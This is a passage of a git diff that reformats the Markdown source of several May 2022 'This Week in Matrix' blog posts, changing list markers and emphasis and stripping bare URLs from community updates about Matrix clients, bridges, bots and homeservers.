the new search experience on web -> - Video rooms! -> - And the new release candidate +> * Improvements to the new search experience on web +> * Video rooms! +> * And the new release candidate > * For more info on our next testing sessions (sync or async), you can join us at [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org)! ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -181,9 +187,10 @@ Secure and independent communication, connected via Matrix. Come talk with us in > * The way that [read receipts are displayed in rooms with lots of people](https://github.com/vector-im/element-web/issues/20574#issuecomment-1103793020) has improved > * In labs (you can enable labs in settings on develop.element.io or on Nightly) > -> - Focusing on resolving last issues with threads, currently blocking on MSCs for read receipts for threads and push rules for mutually related events -> - Video rooms are getting ready to enter beta! +> * Focusing on resolving last issues with threads, currently blocking on MSCs for read receipts for threads and push rules for mutually related events +> * Video rooms are getting ready to enter beta! > +> > ![](/blog/img/ezgif-4-d3bf168166.gif) ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -196,6 +203,7 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi > * Our first time user experience and create account flow is being improved. > * Started prototypes for IA experiments. We’re hoping to make the app much easier to use and will test out new interactions and patterns to see what works for users. > +> > ![](/blog/img/ezgif-4-f9a440dede.gif) ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -216,7 +224,7 @@ A browser-based open metaverse client [Matthew](https://matrix.to/#/@matthew:matrix.org) reports -> lots of exciting progress happening on Third Room - an open metaverse client powered by Matrix: https://github.com/matrix-org/thirdroom/discussions/47 +> lots of exciting progress happening on Third Room - an open metaverse client powered by Matrix: ### Matrix Wrench ([website](https://gitlab.com/jaller94/matrix-wrench/)) @@ -284,7 +292,7 @@ Web forms (HTTP POST) to matrix > I wrote a small, extensible bot that replays GPX recordings as a location sharing stream. > This is an implementation of [MSC3489: Sharing streams of location data with history](https://github.com/matrix-org/matrix-spec-proposals/pull/3489) and may help you debug the feature or see it with real world data. > Join my Space to see this in action (with the Element Web Labs feature): [#geo-trackers:iot-staging.ems](https://matrix.to/#/#geo-trackers:iot-staging.ems).host -> or run the bot with your own rooms and GPX files. https://gitlab.com/jaller94/matrix-location-sharing +> or run the bot with your own rooms and GPX files. ### Opsdroid ([website](https://github.com/opsdroid/opsdroid)) @@ -305,6 +313,7 @@ The highly configurable message aggregation and filtering bot for matrix! > With the new Ansible playbook I think it's possible for someone with a bit of Ansible experience to get this bot up and running in under 10 minutes. I did a fresh install in 4 minutes. That is a fresh VPS and creating a new matrix account. Instructions for the Ansible deploy can be found [here](https://sleuth56.gitlab.io/Matrix-Community-Manager/Installation-With-Ansible/). > > The major features are: +> > * An Ansible playbook that should simplify the installation process for new users. > * Edits to the message that triggered the bot will now be reflected in the bots message. This bot now has a feature Twitter doesn't have :laughing:. > * Hashtags are now called filters. Filters are more customizable allowing for custom delimiters and now show the originating room. @@ -312,6 +321,7 @@ The highly configurable message aggregation and filtering bot for matrix! > * Announcements can have more than one output room. Using a comma separated list of room ids. > > A few bugs were fixed as well: +> > * Some text characters were causing messages to be classed incorrectly thus causing crashes. > * Exotic characters specifically in links were causing crashes. > @@ -332,6 +342,7 @@ The highly configurable message aggregation and filtering bot for matrix! Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -348,6 +359,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|quyo.de|1126| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/05/2022-05-06-this-week-in-matrix-2022-05-06.md b/content/blog/2022/05/2022-05-06-this-week-in-matrix-2022-05-06.md index f32343c75..ba0dc65b3 100644 --- a/content/blog/2022/05/2022-05-06-this-week-in-matrix-2022-05-06.md +++ b/content/blog/2022/05/2022-05-06-this-week-in-matrix-2022-05-06.md @@ -15,7 +15,7 @@ category = ["This Week in Matrix"] [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) reports -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > ## MSC Status > @@ -41,7 +41,7 @@ category = ["This Week in Matrix"] > > **Merged MSCs:** > -> * *No MSCs were merged this week.* +> * _No MSCs were merged this week._ > > "Wowza, that's a lot of new MSCs!" I hear you say. This is actually a listing of the last 3 weeks, as it was pointed out to me that the last 3 editions of TWIM have not all features an MSC status update - which means some MSCs may not have necessary made it into the limelight. > @@ -106,6 +106,7 @@ A multi purpose multi platform bridge, formerly known as matrix-github > * Add new `!hookshot gitlab project` command to configure project bridges in rooms. See [the docs](https://matrix-org.github.io/matrix-hookshot/latest/usage/room_configuration/gitlab_project.html) for instructions. ([#321](https://github.com/matrix-org/matrix-hookshot/issues/321)) > * New `hookshot_connection_event(_failed)` metrics for tracking successful event handling. > Reinstate `matrix_*` metrics which were previously not being recorded. ([#312](https://github.com/matrix-org/matrix-hookshot/issues/312)) +> > ![](/blog/img/a11a3ddb9e1ccaa6eb3689225ffc5c3399dae208.png) ### matrix-appservice-kakaotalk ([website](https://src.miscworks.net/fair/matrix-appservice-kakaotalk/)) @@ -117,22 +118,24 @@ A Matrix-KakaoTalk puppeting bridge. > This week brings another round of big improvements & new features! > > Features & fixes include: +> > * Fixes to Docker support & the documentation for setting it up > * Changes to the login flow -> - The bridge can now be configured to enforce a login flow that more closely matches the official KakaoTalk desktop client's, and to better warn you when a new login will kick out another one of your KT sessions. This will hopefully prevent the bridge from getting KT accounts banned! +> * The bridge can now be configured to enforce a login flow that more closely matches the official KakaoTalk desktop client's, and to better warn you when a new login will kick out another one of your KT sessions. This will hopefully prevent the bridge from getting KT accounts banned! > * Backfilling for KT->Matrix read receipts > * Commands for adding/removing KakaoTalk friends > * Commands to edit your KakaoTalk ID & mark it as shared or hidden > * Matrix->KT DM creation, i.e. the ability to create a new DM with a KakaoTalk user from within Matrix -> - This might fail on the first attempt at creating a DM. If it does, try re-inviting the KakaoTalk puppet to the room. +> * This might fail on the first attempt at creating a DM. If it does, try re-inviting the KakaoTalk puppet to the room. > * Many stability & correctness improvements > > With the combination of friends list curation & DM creation support, it should now be possible to connect with KT contacts entirely from Matrix! Simply add some friends, list them, and invite a listed friend to a 1:1 room! > > --- +> > * Discussion: [#matrix-appservice-kakaotalk:miscworks.net](https://matrix.to/#/#matrix-appservice-kakaotalk:miscworks.net) -> * Testing room: [#kakaotalk-bridge-testing:miscworks.net](https://matrix.to/#/#kakaotalk-bridge-testing:miscworks.net) / https://open.kakao.com/o/gjGQFuae -> * Issue page: https://src.miscworks.net/fair/matrix-appservice-kakaotalk/issues +> * Testing room: [#kakaotalk-bridge-testing:miscworks.net](https://matrix.to/#/#kakaotalk-bridge-testing:miscworks.net) / +> * Issue page: ### matrix-appservice-irc ([website](https://github.com/matrix-org/matrix-appservice-irc)) @@ -163,6 +166,7 @@ Desktop client for Matrix using Qt and C++17. > Bulbu also went through a lot of effort to add a second set of emoji shortcodes to Nheko. Those should be more familiar to people coming from other platforms or clients while the old shortcodes are available still as well. We also saw a lot of progress on the Finnish, Chinese, Indonesian and Russian translations, animated images should work properly in the image viewer again, buttons for opening the member list are now clearly marked with a people icon next to them. The memberlist is also now search- and sortable. > > Anyway, have a look at how important multiple windows are: +> > ![](/blog/img/xCqYBAoYvRDbiSKknTQawYmS.png) ### FluffyChat ([website](https://fluffychat.im)) @@ -170,11 +174,13 @@ Desktop client for Matrix using Qt and C++17. [Krille Fear](https://matrix.to/#/@krille:janian.de) reports > FluffyChat 1.4.0 has been released with a lot of bug fixes, performance improvements and new designs. Take a look at the new designed sign up screen, which also now supports recommended homeservers from joinmatrix.org +> > ![](/blog/img/TPrKqyLDibFUINnkOflMLhpj.png) [Krille Fear](https://matrix.to/#/@krille:janian.de) reports > Full changelog: +> > * design: Display icon for failed sent messages (Krille Fear) > * design: Display own stories at first place and combine with new stories button (Krille Fear) > * feat: Add "Show related DMs in spaces" settings (20kdc) @@ -213,12 +219,13 @@ Matrix client for Emacs > Ement.el has received several updates since the last time it was mentioned in TWIM: > -> *Additions* +> _Additions_ +> > * A new room list command, `ement-taxy-room-list`, shows rooms grouped "smartly" (and programmably). (It will be made the default soon; until then, call the command to use it.) -> - The new room list shows unread-notification/highlight counts, similar to Element. +> * The new room list shows unread-notification/highlight counts, similar to Element. > * Basic support for spaces: -> - Rooms (and spaces) can be added to and removed from spaces. -> - Rooms are listed under their spaces in `ement-taxy-room-list`. +> * Rooms (and spaces) can be added to and removed from spaces. +> * Rooms are listed under their spaces in `ement-taxy-room-list`. > * Reactions can now be toggled off (i.e. redacted) by clicking them, like in Element. > * Command `ement-room-send-file` allows uploading non-image files to rooms, and file messages are now displayed usefully, so the files can be downloaded or viewed. > * Command `ement-ignore-user` ignores and unignores users. @@ -235,10 +242,12 @@ Matrix client for Emacs > * Some events, like membership events and images, are displayed alongside a vertical bar to help distinguish them from normal messages. > * Even "hotter"-looking timestamps for rooms updated in the last hour. > -> *Changes* +> _Changes_ +> > * Refactored notification system. Now easier to configure (see `M-x customize-group RET ement-notify RET`). > -> *Fixes* +> _Fixes_ +> > * Improved error handling when looking up homeserver hostnames and `.well-known` URIs. > * Improved error handling when processing malformed events. > * "Elemental" display style (not used by many users, apparently). @@ -252,17 +261,21 @@ Everything related to Element but not strictly bound to a client [kittykat](https://matrix.to/#/@kittykat:matrix.org) announces > ## Element +> > **Decryption** +> > * Progressing through implementing sharing keys for past messages ([MSC3061](https://github.com/vector-im/element-meta/issues/39)) > * Improved UTD (Unable to Decrypt) analytics to gather more insight on the most common errors faced by users > > **Community testing** +> > * Thank you all who joined the async community testing sessions. > * We tested 51 cases and found 16 issues and potential improvements this week in the RC (release candidates) between all platforms > * Next week, we are planning to test: -> * New search experience on Web +> * New search experience on Web > * For more info on our next testing sessions (sync or async), you can join us at [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org)! > +> > ![](/blog/img/HGsgBZiotGNznjLzGctoOIJI.png) ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -273,26 +286,27 @@ Secure and independent communication, connected via Matrix. Come talk with us in > In [this months demos](https://www.youtube.com/watch?=n78tHoCx1es) (also shown off at the top of the TWIM post), Eric showed off a [proof of concept to anonymize your screenshots](https://github.com/vector-im/element-web/issues/9615#issuecomment-1108992901) so you can easily include more context when submitting logs or bug reports without worrying where the bug occurred. The current concept will color block all of the text on the page to still maintain the structure of the app but completely hide the content itself. > -> This still has a ways to go before it's integrated in Element under the click of a button so if anyone wants to take over or give feedback, go comment on the issue, https://github.com/vector-im/element-web/issues/9615. If you want to use the anonymization now, you can manually run the [JavaScript snippet from the issue](https://github.com/vector-im/element-web/issues/9615#issuecomment-1108992901) in the browser devtools. +> This still has a ways to go before it's integrated in Element under the click of a button so if anyone wants to take over or give feedback, go comment on the issue, . If you want to use the anonymization now, you can manually run the [JavaScript snippet from the issue](https://github.com/vector-im/element-web/issues/9615#issuecomment-1108992901) in the browser devtools. > > This mode could even be further extended further to include `event_id` labels in the corner of each message to easily correlate the logs to the screenshot. > > Happy screenshotting! > +> > ![](/blog/img/KjIwCMTImoynWkeFwzvrUOiY.png) [kittykat](https://matrix.to/#/@kittykat:matrix.org) reports > * Continuing with UI polish and MSCs for releasing threads out of Beta: -> * [MSC3771](https://github.com/matrix-org/matrix-spec-proposals/pull/3771): Read receipts for threads -> * [MSC3772](https://github.com/matrix-org/matrix-spec-proposals/pull/3772): Push rule for mutually related events -> * [MSC3773](https://github.com/matrix-org/matrix-spec-proposals/pull/3773): Notifications for threads -> * We are testing out [Sonarcloud](https://sonarcloud.io/), you’ll see comments from the sonarcloud bot in new PRs about bugs, vulnerabilities and other inconsistencies that it has found -> * Our first time user experience is getting some attention in Web. We’re working on simplifying a user’s first session as we know it can be pretty daunting -> * As part of our efforts to improve PR review times, we have put together some guidance on [how to choose a good issue to work on](https://github.com/vector-im/element-web/blob/6395825c1148f38d19b7bd5035a4c6fc9a0eca64/docs/choosing-an-issue.md) -> * There have been some bug fixes and improvements around ending Jitsi calls -> * In labs (you can enable labs features in settings on develop.element.io or on Nightly): -> * Check out this week’s Matrix Live for a preview of video rooms :) +> * [MSC3771](https://github.com/matrix-org/matrix-spec-proposals/pull/3771): Read receipts for threads +> * [MSC3772](https://github.com/matrix-org/matrix-spec-proposals/pull/3772): Push rule for mutually related events +> * [MSC3773](https://github.com/matrix-org/matrix-spec-proposals/pull/3773): Notifications for threads +> * We are testing out [Sonarcloud](https://sonarcloud.io/), you’ll see comments from the sonarcloud bot in new PRs about bugs, vulnerabilities and other inconsistencies that it has found +> * Our first time user experience is getting some attention in Web. We’re working on simplifying a user’s first session as we know it can be pretty daunting +> * As part of our efforts to improve PR review times, we have put together some guidance on [how to choose a good issue to work on](https://github.com/vector-im/element-web/blob/6395825c1148f38d19b7bd5035a4c6fc9a0eca64/docs/choosing-an-issue.md) +> * There have been some bug fixes and improvements around ending Jitsi calls +> * In labs (you can enable labs features in settings on develop.element.io or on Nightly): +> * Check out this week’s Matrix Live for a preview of video rooms :) ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -305,10 +319,10 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi > * Fix several crashes like when searching or when clicking bottom bar twice > * Improve interaction with spaces which are in a space > * ElementX-iOS -> - We are going to share more and more about [ElementX-iOS](https://github.com/vector-im/element-x-ios), a complete rewrite of the Element-iOS app using [matrix-rust-sdk](https://github.com/matrix-org/matrix-rust-sdk). We made a prototype last quarter. The result was so promising that we want to go full steam on it -> - We are finishing [the setup of the project](https://github.com/orgs/vector-im/projects/42/views/4) to have a good developer experience -> - Then, we will attack user stories listed in this [board](https://github.com/orgs/vector-im/projects/43/views/3) that target the personal message use case -> - Watch the today TWIM video with Stefan, Manu and Thib for more details +> * We are going to share more and more about [ElementX-iOS](https://github.com/vector-im/element-x-ios), a complete rewrite of the Element-iOS app using [matrix-rust-sdk](https://github.com/matrix-org/matrix-rust-sdk). We made a prototype last quarter. The result was so promising that we want to go full steam on it +> * We are finishing [the setup of the project](https://github.com/orgs/vector-im/projects/42/views/4) to have a good developer experience +> * Then, we will attack user stories listed in this [board](https://github.com/orgs/vector-im/projects/43/views/3) that target the personal message use case +> * Watch the today TWIM video with Stefan, Manu and Thib for more details ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -320,7 +334,7 @@ Secure and independent communication for Android, connected via Matrix. Come tal > * Our Create Account experience is still being updated, we’re currently working on ensuring that the Sign-in pieces work as expected > * Fixed a number of crash bugs around calls, launching app and space list > * Notifications have have been improved so that there is a noise for every notification which is received when they are enabled, in line with how web and iOS work -> * On the SDK side, we are working to improve / clarify / document the public API. It’s still in progress, but the generated API documentation is already visible here: https://matrix-org.github.io/matrix-android-sdk2/ +> * On the SDK side, we are working to improve / clarify / document the public API. It’s still in progress, but the generated API documentation is already visible here: ## Dept of Non Chat Clients 🎛️ @@ -339,6 +353,7 @@ A Social Annotation Tool Powered by Matrix > 5. Redacting the messages of others is now exposed as an action for those with that permission. > > Besides that, I've been having some fun on the `css-overhaul` branch reorganizing some design elements, and centralizing the color CSS in a few variables, opening the way for things like a dark mode and user-definable themes. Here's a peek at the new milder and more welcoming default look: +> > ![](/blog/img/ToeKMRWVlGojXjOAJaHsKoJh.png) [gleachkr](https://matrix.to/#/@gleachkr:matrix.org) says @@ -359,6 +374,7 @@ Matrix Wrench is a web client to tweak Matrix rooms. > * Added: A "Am I a member?" button tells your membership state in a room. > * Fixed: Unchanged identities got deleted from localStorage when editing identities twice. > +> > ![](/blog/img/61ecd6261b890e6e4309797852daeb8ce0082d1a.gif) ## Dept of SDKs and Frameworks 🧰 @@ -395,6 +411,7 @@ Matrix SDK written in pure Dart. [Cadair](https://matrix.to/#/@cadair:cadair.com) announces > I have spent the day ignoring more important things and trying to have something to TWIM. I wrote (yet another) GitHub Action for [sending build status to matrix rooms](https://github.com/Cadair/matrix-notify-action). This action looks at all the completed jobs in your workflow and posts a combined status for the workflow as a message and reactions for all the individual jobs, inspired by the maubot GitLab plugin. +> > ![](/blog/img/nVqYKuPlzGHScqPnNQvRYgTa.png) ## Dept of Bots 🤖 @@ -414,11 +431,11 @@ The moderation bot for Matrix > ## [Mjölnir](https://github.com/matrix-org/mjolnir) > -> We have released v1.4.2 of Mjolnir https://github.com/matrix-org/mjolnir/releases/tag/v1.4.2 which includes: +> We have released v1.4.2 of Mjolnir which includes: > > **Bot**: > -> * A new `JoinWaveShortCircuit` protection, thanks to Jonathan with https://github.com/matrix-org/mjolnir/pull/280. This protection can be used to detect a mass-join scenario and set the room to invite-only. +> * A new `JoinWaveShortCircuit` protection, thanks to Jonathan with . This protection can be used to detect a mass-join scenario and set the room to invite-only. > * **Change of behaviour:** Mjolnir will now apply server ACL and member bans to the most recently active rooms first (while syncing). The order was random before. > * The causes of errors at startup (e.g. via misconfiguration) have been made more clear. > * The image with the `latest` tag on [dockerhub](https://hub.docker.com/r/matrixdotorg/mjolnir/tags) is now correctly in sync with the `main` branch. @@ -435,21 +452,23 @@ A bot to moderate communities bridged with Discord via matrix-appservice-discord [luphoria](https://matrix.to/#/@trent:gra.im) announces > I am releasing a brand new moderation bot, **[graim](https://gra.im)**! This bot allows you to moderate communities that are bridged with Discord via **matrix-appservice-discord**. You can tie a Matrix account to a Discord account, and moderate both platforms seamlessly from either end! Graim supports one Discord server and as many Matrix rooms as you want, per instance. :) -> You can run it yourself from the Github - https://github.com/luphoria/graim +> You can run it yourself from the Github - > You can join the [matrix space](https://matrix.to/#/#graim:gra.im), which is bridged to the [Discord server](https://discord.gg/MV7fDb4AKy) +> > ![](/blog/img/xyzhfPHFzmTWGgpRSEjAifIE.png) ## Dept of Events and Talks 🗣️ [andybalaam](https://matrix.to/#/@andybalaam:matrix.org) says -> I'm streaming every week live coding Rust and Matrix at https://twitch.tv/andybalaam and https://andybalaam.uk.to (Owncast). Feel free to join me as I write a Rust Matrix bot. I'm currently on a side quest to add Redis support to the matrix-rust-sdk crypto store. You can watch past streams at [diode.zone/a/andybalaam](https://diode.zone/a/andybalaam/). +> I'm streaming every week live coding Rust and Matrix at and (Owncast). Feel free to join me as I write a Rust Matrix bot. I'm currently on a side quest to add Redis support to the matrix-rust-sdk crypto store. You can watch past streams at [diode.zone/a/andybalaam](https://diode.zone/a/andybalaam/). ## Dept of Ping 🏓 Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -466,6 +485,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|fab.network|1196| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/05/2022-05-13-this-week-in-matrix-2022-05-13.md b/content/blog/2022/05/2022-05-13-this-week-in-matrix-2022-05-13.md index d6c96ba7b..ede4158aa 100644 --- a/content/blog/2022/05/2022-05-13-this-week-in-matrix-2022-05-13.md +++ b/content/blog/2022/05/2022-05-13-this-week-in-matrix-2022-05-13.md @@ -16,7 +16,7 @@ category = ["This Week in Matrix"] [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) says -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > ## MSC Status > @@ -71,10 +71,11 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [squah](https://matrix.to/#/@squah:matrix.org) says > Hello everyone. This week the team cut a [release candidate for Synapse v1.59](https://github.com/matrix-org/synapse/releases/tag/v1.59.0rc1), which includes: -> * New module API support for [editing push rules](https://github.com/matrix-org/synapse/pull/12406). -> * Experimental support for [MSC3266, federated room summary](https://github.com/matrix-org/synapse/pull/11507) and [MSC3786](https://github.com/matrix-org/synapse/pull/12601). -> * Updates to support for [MSC2285, hidden read receipts](https://github.com/matrix-org/matrix-spec-proposals/pull/2285). -> * Many bug fixes and internal improvements! +> +> * New module API support for [editing push rules](https://github.com/matrix-org/synapse/pull/12406). +> * Experimental support for [MSC3266, federated room summary](https://github.com/matrix-org/synapse/pull/11507) and [MSC3786](https://github.com/matrix-org/synapse/pull/12601). +> * Updates to support for [MSC2285, hidden read receipts](https://github.com/matrix-org/matrix-spec-proposals/pull/2285). +> * Many bug fixes and internal improvements! > > Meanwhile, the core team has looking at caches and memory usage: Erik has been looking at ways to reduce the memory usage of small servers, Shay's been adding some exciting [new config options to limit the total memory usage of Synapse](https://github.com/matrix-org/synapse/pull/12701) and David's added the ability to [reload the cache factors of a running Synapse instance via SIGHUP](https://github.com/matrix-org/synapse/pull/12673). > @@ -88,7 +89,7 @@ Second generation Matrix homeserver > This week we've actually made two releases — [Dendrite 0.8.4](https://github.com/matrix-org/dendrite/releases/tag/v0.8.4) and [Dendrite 0.8.5](https://github.com/matrix-org/dendrite/releases/tag/v0.8.5) — which are both primarily targeting performance and bug fixes. > -> We've also released our new living documentation, which is available at https://matrix-org.github.io/dendrite/, which features new installation instructions and documents that will be helpful to Dendrite server administrators. We will be writing more documentation and expanding this over time. +> We've also released our new living documentation, which is available at , which features new installation instructions and documents that will be helpful to Dendrite server administrators. We will be writing more documentation and expanding this over time. > > Changes include: > @@ -127,8 +128,8 @@ A Matrix-KakaoTalk puppeting bridge. > --- > > * Discussion: [#matrix-appservice-kakaotalk:miscworks.net](https://matrix.to/#/#matrix-appservice-kakaotalk:miscworks.net) -> * Testing room: [#kakaotalk-bridge-testing:miscworks.net](https://matrix.to/#/#kakaotalk-bridge-testing:miscworks.net) / https://open.kakao.com/o/gjGQFuae -> * Issue page: https://src.miscworks.net/fair/matrix-appservice-kakaotalk/issues +> * Testing room: [#kakaotalk-bridge-testing:miscworks.net](https://matrix.to/#/#kakaotalk-bridge-testing:miscworks.net) / +> * Issue page: ## Dept of Clients 📱 @@ -138,9 +139,10 @@ Matrix client for Emacs [alphapapa](https://matrix.to/#/@alphapapa:matrix.org) announces -> [Ement.el](https://github.com/alphapapa/ement.el), a Matrix client for [GNU Emacs](https://www.gnu.org/software/emacs], received some more updates this week: +> [Ement.el](https://github.com/alphapapa/ement.el), a Matrix client for [GNU Emacs](], received some more updates this week: +> +> _Additions_ > -> *Additions* > * New [Transient](https://github.com/magit/transient)-based command menu for room buffers, bound to `?`. > * New command `ement-list-members`, which lists all members in a room. > * Member completion now completes from all members in a room (rather than only those whose messages have been seen). @@ -148,10 +150,12 @@ Matrix client for Emacs > * Grouped membership events have tooltips showing each member's individual event. > * When usernames are colorized, message bodies may optionally be colorized in a less intense shade of the same color, so they are easily distinguished yet easy on the eyes (and, of course, the shading is customizable). > -> *Changes* +> _Changes_ +> > * When displaying usernames in the margin, names that are wider than the margin are abbreviated, with the full name in the tooltip. > -> *Fixes* +> _Fixes_ +> > * Typing notifications (recently broken--oops!). > * Sending direct messages marks new direct rooms as direct rooms. > * Event notifications for rooms not displayed in a buffer. @@ -169,15 +173,15 @@ Everything related to Element but not strictly bound to a client > **Threads** > > * We’re still hard at work improving the Threads Beta experience for y’all. Starting with Notifications and UI polish. -> * We’ve fixed some visual bugs on all of our platforms this week -> * We’re continuing work on MSCs for improvements to [read receipts](https://github.com/matrix-org/matrix-spec-proposals/pull/3771), [push rules](https://github.com/matrix-org/matrix-spec-proposals/pull/3772), and [thread notifications](https://github.com/matrix-org/matrix-spec-proposals/pull/3773) in general. +> * We’ve fixed some visual bugs on all of our platforms this week +> * We’re continuing work on MSCs for improvements to [read receipts](https://github.com/matrix-org/matrix-spec-proposals/pull/3771), [push rules](https://github.com/matrix-org/matrix-spec-proposals/pull/3772), and [thread notifications](https://github.com/matrix-org/matrix-spec-proposals/pull/3773) in general. > > **Community testing** > > * Next week, we are planning to test: > -> * Video rooms -> * And the new release candidate +> * Video rooms +> * And the new release candidate > * We have a [new consent form](https://docs.google.com/forms/d/e/1FAIpQLSeBGI2HcTgzqnH6xZQvqDka7Y9XJbChdqxqpqokZda5j_mehQ/viewform?usp=sf_link) for testers to fill in! > For more info on our next testing sessions (sync or async), you can join us at [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org)! @@ -188,10 +192,10 @@ Secure and independent communication, connected via Matrix. Come talk with us in [Danielle](https://matrix.to/#/@daniellekirkwood:one.ems.host) reports > * We’ve improved how [messages are deleted](https://github.com/vector-im/element-web/issues/21929), along with other defects. Some of our favourite improvements include: -> * Fixed [room history visibility](https://github.com/vector-im/element-web/issues/16983#issuecomment-1111193376) when you have keys to decrypt messages -> * Improvements to [viewing long room topics](https://github.com/matrix-org/matrix-react-sdk/pull/8517) -> * A number of UI tweaks and polishes including [improved layout to the settings](https://github.com/matrix-org/matrix-react-sdk/pull/7963) -> * [Fix the way pills look](https://github.com/matrix-org/matrix-react-sdk/pull/8545) +> * Fixed [room history visibility](https://github.com/vector-im/element-web/issues/16983#issuecomment-1111193376) when you have keys to decrypt messages +> * Improvements to [viewing long room topics](https://github.com/matrix-org/matrix-react-sdk/pull/8517) +> * A number of UI tweaks and polishes including [improved layout to the settings](https://github.com/matrix-org/matrix-react-sdk/pull/7963) +> * [Fix the way pills look](https://github.com/matrix-org/matrix-react-sdk/pull/8545) > * The team is actively moving tests to Cypress; You can find the [latest test runs here](https://dashboard.cypress.io/projects/ppvnzg/runs) {{ youtube_player(video_id="ppPImRxxRCM") }} @@ -203,6 +207,7 @@ Secure and independent communication, connected via Matrix. Come talk with us in > * Removed [some of the older features from labs](https://github.com/matrix-org/matrix-react-sdk/pull/8521) > * [Improved ordering](https://github.com/matrix-org/matrix-react-sdk/pull/8444) in the new search dialog > +> > ![](/blog/img/3e6559620c0e5f70761f94a06cd01028daa24a6d.png) ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -215,11 +220,11 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi > * 💊 We also merged an initial version of mention pills and are working on ironing out edge cases. Exciting! > * There’s good progress on the new authentication flows and live location sharing, both of which we’re looking forward to sharing and testing with you soon. > * On the ElementX front we're nearly done with the [DevX](https://github.com/orgs/vector-im/projects/42/views/4) setup and are working towards using the latest Rust SDK -> * unit and UI test runs on the CI and Codecov.io coverage reports -> * swiftlint, danger-swift and sonarcloud.io checks for code quality -> * automatic generation of PR builds, published on diawi -> * scripts for importing and reusing localizable strings from Android -> * towncrier changelogs and more +> * unit and UI test runs on the CI and Codecov.io coverage reports +> * swiftlint, danger-swift and sonarcloud.io checks for code quality +> * automatic generation of PR builds, published on diawi +> * scripts for importing and reusing localizable strings from Android +> * towncrier changelogs and more ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -265,18 +270,19 @@ Cinny is a Matrix client focused on simplicity, elegance and security > * Fix crash on unable to getContent of tombstoned room > * Don't enable e2ee for bridged platform > -> See release at: https://github.com/ajbura/cinny/releases/tag/v2.0.0 +> See release at: > +> > ![](/blog/img/cinny-emoji.jpg) > > ### Cinny for desktop > -> Since this release, we are also shipping a desktop app of Cinny for Windows, MacOS and Linux. You can download the app for your platform from https://github.com/cinnyapp/cinny-desktop/releases +> Since this release, we are also shipping a desktop app of Cinny for Windows, MacOS and Linux. You can download the app for your platform from > -> Find more about Cinny at https://cinny.in/ +> Find more about Cinny at > Join our channel at: [#cinny:matrix.org](https://matrix.to/#/#cinny:matrix.org) -> Github: https://github.com/ajbura/cinny -> Twitter: https://twitter.com/@cinnyapp +> Github: +> Twitter: ## Dept of SDKs and Frameworks 🧰 @@ -327,6 +333,7 @@ Web forms (HTTP POST) to matrix > enabled, your guests have probably experienced the confusion where they don't know who else (on Matrix) is in the chat as only Matrix can double-puppet. > > When this bot is added to a Matrix room, it will announce: +> > * Who the room members are when a new Signal user joins; > * When a Matrix user joins or leaves, who that Matrix user was. > @@ -334,8 +341,9 @@ Web forms (HTTP POST) to matrix > > I don't currently have a public bot, but if anyone is interested please join [#whos-in-this-room-bot-discussion:jakecopp.chat](https://matrix.to/#/#whos-in-this-room-bot-discussion:jakecopp.chat) and say hello! > -> PRs for adding support for other chat apps (basically identifying which bridge from the puppeted username) are very welcome! https://github.com/jakecoppinger/whos-in-this-room-matrix-bot +> PRs for adding support for other chat apps (basically identifying which bridge from the puppeted username) are very welcome! > +> > ![](/blog/img/lxlykPvaRIQvYsuSdMwXIrEZ.png) ## Dept of Events and Talks 🗣️ @@ -355,6 +363,7 @@ Web forms (HTTP POST) to matrix Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join 